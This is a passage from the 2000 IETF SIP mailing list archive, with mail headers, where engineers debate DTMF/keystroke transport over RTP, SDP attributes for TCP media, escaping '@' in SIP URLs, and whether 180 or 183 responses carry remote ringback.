are both in the packet network. We would still like to use SIP as >the session initiation, but we need s simple, reliable protocol for the >keysroke transport. This is also suggested in section 3.1 of RFC2833. A >similar requirement was discussed previously for application servers in a >packet network that need just keystroke input. Perhaps SCTP? hmm, buttons and a display, sounds like a web browser to me, and very much out of the scope of the Session Initiation Protocol. >3) If a SIP device in the packet network needs to recieve keystroke >information from a device in the PSTN, the SIP device will use SDP to set >up a keystroke session with the gateway that is a proxy for the PSTN >device. The gateway will be responsible for converting DTMF signals into >the simple keystroke protocol for the SIP device. How is this simpler than using RFC 2283? With AVT, you just receive the RTP packet, figure out what the associated DTMF is, and optionally check that the length/volume is above a threshold. >4) If a SIP device in the packet network needs to send keystroke >information to a device in the PSTN, the gateway will use SDP to set up a >keystroke session with the SIP device. The gateway will be responsible for >converting the simple keysroke protocol from the SIP device into DTMF >signals for the PSTN device. Again, how is this simpler? With AVT, just send the packet with a default duration and volume. If all you are saying is that RFC 2283 is hard, and that you want to build a new protocol do transport keystrokes, or DTMF events, I sincerely doubt you will be able to convince me that building, documenting, and testing this new protocol is *easier* than just implementing >So what are the requirements for a keystroke media transport protocol? Has anyone thought about why we really want *raw* keyboard input? It sounds like what you really want, is something like VoXML. Send a document that associates certain collections of input (keyboard, DTMF, voice, smell-detector, etc) with some action or URL. Based on your examples, I could send a document to my phone which represents an IVR tree, and after navigating through 7-layers of IVR hell, it executes the right URL (which refers me to an appropriate agent). Likewise, I could collect the desired temperature of my house, and then send a HTTP POST with the collected data to my home control system. Before anyone chides me for being insensitive to the processing/memory requirements of portable devices, I think this is quite reasonable on devices with 1MB of RAM or less. Thoughts, thanks, -rohan >We need keystroke delivery reliability. You can imagine what would happen >if, when the bank automation system asked you to type the amout of the >bill payment, you typed $180, but it thought you said $980. Or, if the >remote-controlled A/C heard 99 degrees instead of 79. > >We need sequencing reliability. You can imagine what would happen if, when >the bank automation system asked you to type the amout of the bill >payment, you typed $180, but it thought you said $810. Or, if the >remote-controlled A/C heard 97 degrees instead of 79. > >We need simplicity. The simplicity of SIP will allow keystroke mechanisms >to be placed on all kinds of ultra-simple wireless remote devices, as well >as high-density keystroke-detection servers. These devices will not >necessarily support any audio or video media. You need a simple, reliable >protocol that doesn't take much processing power, yet meets all of the >transport requirements. > >We need duration. If the protocol is reliable, all you need is a key-on >and key-off messages as a standard mechanism for all key indications. > >We need standardization. Most devices with keys will probably have a >numeric pad. When you press a 'one' key on the SIP phone, it should give >the same key media message as when you press a 'one' key on a PC, or a >Cell Phone, or a SIP-based remote control device. _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 21:14:23 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA17933 for ; Thu, 10 Aug 2000 21:14:23 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 75AB5443AA; Thu, 10 Aug 2000 21:14:13 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id 65BF9443A2 for ; Thu, 10 Aug 2000 21:14:10 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id VAA04762 for ; Thu, 10 Aug 2000 21:14:10 -0400 (EDT) Message-ID: <39935362.1F6C100D@cs.columbia.edu> Date: Thu, 10 Aug 2000 21:14:10 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: sip@lists.bell-labs.com Subject: Re: [SIP] DTMF and Universal Key Input Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit There's been far more email exchanged than it would take to implement this. To remedy this, let me provide a basic C implementation skeleton, free of charge. typedef struct { unsigned int version:2; /* protocol version */ unsigned int p:1; /* padding flag */ unsigned int x:1; /* header extension flag */ unsigned int cc:4; /* CSRC count */ unsigned int m:1; /* marker bit */ unsigned int pt:7; /* payload type */ unsigned int seq:16; /* sequence number */ u_int32 ts; /* timestamp */ u_int32 ssrc; /* synchronization source */ } rtp_hdr_t; typedef struct { unsigned int event:8; unsigned int e:1: unsigned int r:1: unsigned int volume:6; unsigned int duration:16; } tone_hdr_t; struct { rtp_hdr_t rtp; tone_hdr_t tone; } packet; Sending: (setting other constant RTP header fields omitted) packet.rtp.ts = whatever; packet.rtp.seq = seq++; packet.rtp.tone.event = 9; /* for the digit '9' */ packet.rtp.tone.e = 1; /* one digit per packet here */ packet.rtp.tone.volume = 0; /* we don't care */ packet.rtp.tone.duration = whatever; /* however long the user pressed the key */ Receiving just unpacks this. Transmit using TCP for reliability, if you like, or add redundancy for an additional two hour programming exercise. -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 21:33:43 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA18788 for ; Thu, 10 Aug 2000 21:33:43 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 85BD7443B2; Thu, 10 Aug 2000 21:33:22 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 983FF44338 for ; Thu, 10 Aug 2000 21:33:18 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Thu, 10 Aug 2000 18:33:15 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Henning Schulzrinne'" , sip@lists.bell-labs.com Subject: RE: [SIP] DTMF Date: Thu, 10 Aug 2000 18:33:11 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Hi Henning, > - sending keyboard input as envisioned here has nothing to do with > session setup or control or signaling I would argue that certain DTMF actions do have some effect over session control - the classic example is triple star or long pound on calling card systems. In my mind it is these class of actions that are the driving the need for DTMF to be "split off" to one (or more perhaps) application servers (in addition to the voice media endpoint!!). The need for and method of forking the DTMF has of course has been the eternally revisited sticking point. Am I missing your point? > - RTP with redundancy is at least as reliable as SIP transport > > - REFER and 3pcc can be used to redirect RTP streams wherever they are > needed, either separate from or jointly with the audio stream Looking at the cc-transfer draft I can't see how this relates to solving the above probem as it relates to DTMF streams (and DTMF does not seem to be mentioned anywhere). Can you provide any more specific pointers ? I sorry to ask _again_ but are you asserting that you don't need to send the DTMF to multiple entities (voice endpoint and IVR application server)? If not how are you proposing to solve the above classic problem? Thanks, Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > - a number of implementations already support the RFC 2833 mechanism - > why should they support another mechanism? > > As Colin points out and has been raised on the list before in a > different context, if we're into text communications (full keyboard > set), the RTP text payload type may also be appropriate. > > Thank you. > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 21:53:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA19418 for ; Thu, 10 Aug 2000 21:53:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id F2A59443AC; Thu, 10 Aug 2000 21:53:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id EF5BE44338 for ; Thu, 10 Aug 2000 21:53:11 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id VAA06543; Thu, 10 Aug 2000 21:53:10 -0400 (EDT) Message-ID: <39935C86.1C09B9E@cs.columbia.edu> Date: Thu, 10 Aug 2000 21:53:10 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: "Fairlie-Cuninghame, Robert" Cc: sip@lists.bell-labs.com Subject: Re: [SIP] DTMF References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "Fairlie-Cuninghame, Robert" wrote: > > Hi Henning, > > > - sending keyboard input as envisioned here has nothing to do with > > session setup or control or signaling > > I would argue that certain DTMF actions do have some effect over session > control - the classic example is triple star or long pound on calling card > systems. In my mind it is these class of actions that are the driving the > need for DTMF to be "split off" to one (or more perhaps) application servers > (in addition to the voice media endpoint!!). It's not signaling in the VoIP sense. That these keys happen to have consequences for the call is no different than if I were to use a web browser and HTTP to somehow manipulate the call (indirectly invoking some SIP action, in our context). This does not mean that HTTP is suddenly a signaling protocol that should be carried in SIP. One mechanism to 'split off' DTMF is to simply do an INVITE for the same call, different call leg, where the SDP only allows 'tones'. Another, more transparent one, is to have any box near the audio destination copy the relevant RTP bits to whoever needs them. (This would be the address specified in the SDP.) -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 22:00:40 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA19541 for ; Thu, 10 Aug 2000 22:00:40 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5433F443B8; Thu, 10 Aug 2000 21:59:31 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 3DA3D44338 for ; Thu, 10 Aug 2000 21:59:19 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Thu, 10 Aug 2000 18:59:16 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Christian Huitema'" , "'Jonathan Rosenberg'" , David Yon Cc: sip@lists.bell-labs.com Subject: RE: [SIP] SIP, SDP, and TCP-based media transport Date: Thu, 10 Aug 2000 18:59:06 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Good point. Perhaps we should just combine both & uni (to make both an optimization of uni). Ie, a UA is free to send over either tcp connection which successfully connects; received packets from either (successful) tcp connection should be treated identically. This also makes things simpler which is also a bonus. I still beleive that both a tcp and a RTP/AVP-TCP SDP profile will have their uses. For instance, Henning just mentioned using reliable RTP text/digit transport through TCP in another stream. Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > -----Original Message----- > From: Christian Huitema [mailto:huitema@microsoft.com] > Sent: Thursday, August 10, 2000 12:31 AM > To: 'Jonathan Rosenberg'; David Yon > Cc: sip@lists.bell-labs.com > Subject: RE: [SIP] SIP, SDP, and TCP-based media transport > > > > 4. we define a new attribute, tcp, with values of: > > active: the port number is meaningless and the UA > sending this SDP > > wishes to open the connection to the remote side > > passive: please open a connection to this port > > both: we should both try to open connections; the one > opened to the > > highest remote port takes precedence if both succeed. If > the ports are > > the same, the highest IP address. > > uni: we should both open tcp connections, and use both, > each being > > unidirectional (at least for RTP, RTCP would be sent back > > over the same > > TCP connection I suppose) > > "both" is going to have funny results if there are one or 2 > NATs on the > path... You should not rely on comparing the binary values of ports or > addresses. I thing that active/passive/uni provides a good match -- or > active/passive/both, leaving it to the app to decide which > connection is > used for what purpose. > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 22:15:27 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA19897 for ; Thu, 10 Aug 2000 22:15:27 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id B82F8443BD; Thu, 10 Aug 2000 22:15:06 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 5953344338 for ; Thu, 10 Aug 2000 22:15:02 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Thu, 10 Aug 2000 19:14:57 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Henning Schulzrinne'" Cc: "'Ajay Chitturi'" , Gethin Liddell , sip@lists.bell-labs.com Subject: RE: [SIP] Change in SIP URL syntax Date: Thu, 10 Aug 2000 19:14:51 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Sorry, I meant to reply to this a while back. This is with regards to the telephone-subscriber ambiguity (again) (eg sip:ABCD;telparam=telvalue@gateway.com;user=phone). Was the conclusion that a) an unescaped '@ is allowed in a parameter as long is it is not ambiguous. (ie, sip:ABCD;telparam=telvalue@gateway.com;toad=dog@cat;user=phone is ok) or b) '@' must always be escaped in parameter names and values. I personally feel the latter is safer and I'm not sure if your reply is supporting this viewpoint. If that is the case then won't '@' also have to be removed from param-reserved ? Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > -----Original Message----- > From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > Sent: Wednesday, August 02, 2000 9:53 AM > To: Fairlie-Cuninghame, Robert > Cc: 'Ajay Chitturi'; Gethin Liddell; sip@lists.bell-labs.com > Subject: Re: [SIP] Change in SIP URL syntax > > > The current version reads: > > hname = 1*( hnv-unreserved | unreserved | escaped ) > hvalue = *( hnv-unreserved | unreserved | escaped ) > hnv-unreserved = "[" | "]" | "/" | "?" | ":" | "+" | "$" > > Thus, @ MUST be escaped (if it doesn't have syntax > significance). It is > also listed as a separator. > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 22:29:19 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA20015 for ; Thu, 10 Aug 2000 22:29:19 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 2D967443C1; Thu, 10 Aug 2000 22:28:53 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id 1B76A44338 for ; Thu, 10 Aug 2000 22:28:50 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Thu, 10 Aug 2000 19:28:48 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'sip@lists.bell-labs.com'" Date: Thu, 10 Aug 2000 19:28:40 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Subject: [SIP] Remote ringback. Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At the SIP bakeoff, a colleague had a conversation with one of the co-authors of the 183 Session Progress draft. He (the co-author) informed us that 183 is meant to be used when the remote UA wants to provide some other, unknown message/signal - and _not_ simply remote ringback. 180 with an SDP body should be used for that purpose. This came as quite a surprise as it seems to be at odds with RFC2543 which makes no mention about the validity or handing 180 with SDP and states that 183 SHOULD include an SDP for session progress tones (or announcements). [Without defining session progress tones.] Even the 183 draft seems to only associate 180 with local alerting. At the bakeoffs 183 seems to have been implemented widely for remote ringback. Can anyone shed some light on this? Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 22:30:35 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA20313 for ; Thu, 10 Aug 2000 22:30:35 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 48ECE443C4; Thu, 10 Aug 2000 22:29:03 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from cs.columbia.edu (cs.columbia.edu [128.59.16.20]) by lists.bell-labs.com (Postfix) with ESMTP id B45DB443C2 for ; Thu, 10 Aug 2000 22:28:55 -0400 (EDT) Received: from cs.columbia.edu (bart.cs.columbia.edu [128.59.19.191]) by cs.columbia.edu (8.9.3/8.9.3) with ESMTP id WAA08068; Thu, 10 Aug 2000 22:25:05 -0400 (EDT) Message-ID: <39936401.D36251EE@cs.columbia.edu> Date: Thu, 10 Aug 2000 22:25:05 -0400 From: Henning Schulzrinne Organization: Columbia University, Dept. of Computer Science X-Mailer: Mozilla 4.72 [en] (X11; U; SunOS 5.7 sun4u) X-Accept-Language: en MIME-Version: 1.0 To: "Fairlie-Cuninghame, Robert" Cc: "'Ajay Chitturi'" , Gethin Liddell , sip@lists.bell-labs.com Subject: Re: [SIP] Change in SIP URL syntax References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit "Fairlie-Cuninghame, Robert" wrote: > > Sorry, I meant to reply to this a while back. > > This is with regards to the telephone-subscriber ambiguity (again) > (eg sip:ABCD;telparam=telvalue@gateway.com;user=phone). > > Was the conclusion that > a) an unescaped '@ is allowed in a parameter as long is it is not ambiguous. > (ie, sip:ABCD;telparam=telvalue@gateway.com;toad=dog@cat;user=phone is ok) > or > b) '@' must always be escaped in parameter names and values. > > I personally feel the latter is safer and I'm not sure if your reply is > supporting this viewpoint. > > If that is the case then won't '@' also have to be removed from > param-reserved ? @ is a reserved character (being a separator with syntactic significance). Reserved characters must be escaped. I'm not sure from what it must be removed since it doesn't appear in any explicit listing of unreserved characters. unreserved = alphanum | mark mark = "-" | "_" | "." | "!" | "~" | "*" | "'" | "(" | ")" hnv-unreserved = "[" | "]" | "/" | "?" | ":" | "+" | "$" -- Henning Schulzrinne http://www.cs.columbia.edu/~hgs _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 22:47:04 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA21271 for ; Thu, 10 Aug 2000 22:47:03 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 3D349443C8; Thu, 10 Aug 2000 22:45:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from exchangesvr.nuera.com (unknown [204.216.240.124]) by lists.bell-labs.com (Postfix) with ESMTP id A50C3443C2 for ; Thu, 10 Aug 2000 22:45:10 -0400 (EDT) Received: by exchangesvr.nuera.com with Internet Mail Service (5.5.2650.21) id ; Thu, 10 Aug 2000 19:45:09 -0700 Message-ID: From: "Fairlie-Cuninghame, Robert" To: "'Henning Schulzrinne'" Cc: sip@lists.bell-labs.com Subject: RE: [SIP] Change in SIP URL syntax Date: Thu, 10 Aug 2000 19:45:00 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Ok right. Good we all agree. Sorry, I was interpreting param-reserved as the list of reserved URL characters (RFC2396) allowed (unescaped)in the parameter field (althought I guess you would have called it be param-unreserved in that case). Robert. -- My opinions are my own. I tried selling them once but everybody seems to already have one. -- > -----Original Message----- > From: Henning Schulzrinne [mailto:schulzrinne@cs.columbia.edu] > Sent: Friday, August 11, 2000 10:25 AM > To: Fairlie-Cuninghame, Robert > Cc: 'Ajay Chitturi'; Gethin Liddell; sip@lists.bell-labs.com > Subject: Re: [SIP] Change in SIP URL syntax > > > "Fairlie-Cuninghame, Robert" wrote: > > > > Sorry, I meant to reply to this a while back. > > > > This is with regards to the telephone-subscriber ambiguity (again) > > (eg sip:ABCD;telparam=telvalue@gateway.com;user=phone). > > > > Was the conclusion that > > a) an unescaped '@ is allowed in a parameter as long is it > is not ambiguous. > > (ie, > sip:ABCD;telparam=telvalue@gateway.com;toad=dog@cat;user=phone is ok) > > or > > b) '@' must always be escaped in parameter names and values. > > > > I personally feel the latter is safer and I'm not sure if > your reply is > > supporting this viewpoint. > > > > If that is the case then won't '@' also have to be removed from > > param-reserved ? > > @ is a reserved character (being a separator with syntactic > significance). > Reserved characters must be escaped. I'm not sure from what it must be > removed since it doesn't appear in any explicit listing of unreserved > characters. > > unreserved = alphanum | mark > mark = "-" | "_" | "." | "!" | "~" | "*" | "'" | > "(" | ")" > > hnv-unreserved = "[" | "]" | "/" | "?" | ":" | "+" | "$" > > -- > Henning Schulzrinne http://www.cs.columbia.edu/~hgs > > > _______________________________________________ > SIP mailing list > SIP@lists.bell-labs.com > http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Thu Aug 10 22:57:21 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA21353 for ; Thu, 10 Aug 2000 22:57:21 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 9AA3A443C0; Thu, 10 Aug 2000 22:56:14 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from md3.vsnl.net.in (md3.vsnl.net.in [202.54.6.35]) by lists.bell-labs.com (Postfix) with ESMTP id 7507044338 for ; Thu, 10 Aug 2000 22:56:08 -0400 (EDT) Received: from jana ([203.197.131.85]) by md3.vsnl.net.in (8.9.3/8.9.3) with SMTP id IAA06771 for ; Fri, 11 Aug 2000 08:21:36 +0530 (IST) Message-ID: <005401c0033f$a58d55a0$38c9a8c0@labs> Reply-To: "Jana" From: "Jana" To: Date: Fri, 11 Aug 2000 08:25:44 +0530 Organization: HCL Technologies India Ltd. MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 5.00.2615.200 X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200 Subject: [SIP] question on draft-ietf-sip-cc-transfer-00.txt Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com Content-Transfer-Encoding: 7bit Hi I have a question on the cc draft. In section 5.2.2 Variation 2 : Protects transfer target Here in the call flow, when the transferor sends the REFER to transfer target, it uses a Call-ID of 2, to tie the REFER with the previous Invite sent. But when the transfer target sends an invite to the transferor, it uses a Call-ID of 2, how would the transferor know that this is the call with Call-ID of 1, that is on hold waiting to be transfered, and not a totally new call. This information may be desired, since the user may not want to answer another call at this point of time? Thanks Jana _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 00:33:15 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id AAA22962 for ; Fri, 11 Aug 2000 00:33:14 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 5A849443BB; Fri, 11 Aug 2000 00:33:09 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from farley.cisco.com (farley.cisco.com [171.71.153.30]) by lists.bell-labs.com (Postfix) with ESMTP id 8E2D244338 for ; Fri, 11 Aug 2000 00:33:05 -0400 (EDT) Received: from tfu-pc ([10.19.144.132]) by farley.cisco.com (8.8.8/2.6/Cisco List Logging/8.8.8) with SMTP id VAA23632; Thu, 10 Aug 2000 21:33:03 -0700 (PDT) Message-Id: <200008110433.VAA23632@farley.cisco.com> X-Sender: tfu@overnight.cisco.com X-Mailer: QUALCOMM Windows Eudora Pro Version 4.0.2 Date: Thu, 10 Aug 2000 21:30:48 -0700 To: "Fairlie-Cuninghame, Robert" , "'sip@lists.bell-labs.com'" From: Taichi Fu Subject: Re: [SIP] Remote ringback. Cc: tfu@cisco.com In-Reply-To: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: sip-admin@lists.bell-labs.com Errors-To: sip-admin@lists.bell-labs.com X-Mailman-Version: 1.1 Precedence: bulk List-Id: IETF SIP Mailing List X-BeenThere: sip@lists.bell-labs.com At 07:28 PM 8/10/00 -0700, Fairlie-Cuninghame, Robert wrote: > >At the SIP bakeoff, a colleague had a conversation with one of the >co-authors of the 183 Session Progress draft. > >He (the co-author) informed us that 183 is meant to be used when the remote >UA wants to provide >some other, unknown message/signal - and _not_ simply remote ringback. > >180 with an SDP body should be used for that purpose. >This came as quite a surprise as it seems to be at odds with RFC2543 which >makes no mention about the validity or handing 180 with SDP and states that >183 SHOULD include an SDP for session progress tones (or announcements). >[Without defining session progress tones.] The rfcbis (Aug. 06 from http://www.cs.columbia.edu/sip) states that 180 is to indicate that the some attemp is made to alert the called party while 183 is to indicate 'progress of the call which is not otherwise classified' (p.62). So the distinction between 180 and 183 seems clear in rfcbis. Maybe there is still a little room left to exactly define the 180 and 183 semantics, but if it is certain that a called party is located and alerting is being applied successfully, I think 180 should be used. If it is not certain, 183. >Even the 183 draft seems to only associate 180 with local alerting. > >At the bakeoffs 183 seems to have been implemented widely for remote >ringback. > >Can anyone shed some light on this? > >Robert. > >-- My opinions are my own. I tried selling them once but everybody > seems to already have one. -- > > > >_______________________________________________ >SIP mailing list >SIP@lists.bell-labs.com >http://lists.bell-labs.com/mailman/listinfo/sip > _______________________________________________ SIP mailing list SIP@lists.bell-labs.com http://lists.bell-labs.com/mailman/listinfo/sip From sip-admin@lists.bell-labs.com Fri Aug 11 01:51:55 2000 Received: from lists.bell-labs.com (share.research.bell-labs.com [204.178.16.58]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id BAA29246 for ; Fri, 11 Aug 2000 01:51:55 -0400 (EDT) Received: from share.research.bell-labs.com (localhost.localdomain [127.0.0.1]) by lists.bell-labs.com (Postfix) with ESMTP id 1578F44340; Fri, 11 Aug 2000 01:51:33 -0400 (EDT) Delivered-To: sip@lists.bell-labs.com Received: from penguin-ext.wise.edt.ericsson.se (penguin-ext.wise.edt.ericsson.se [194.237.142.110]) by lists.bell-labs.com (Postfix) with ESMTP id 8BD2D44338 for ; Fri, 11 Aug 2000 01:51:30 -0400 (EDT) Received: from mailserver1.ericsson.se (mailserver1.ericsson.se [136.225.152.91]) by penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP id 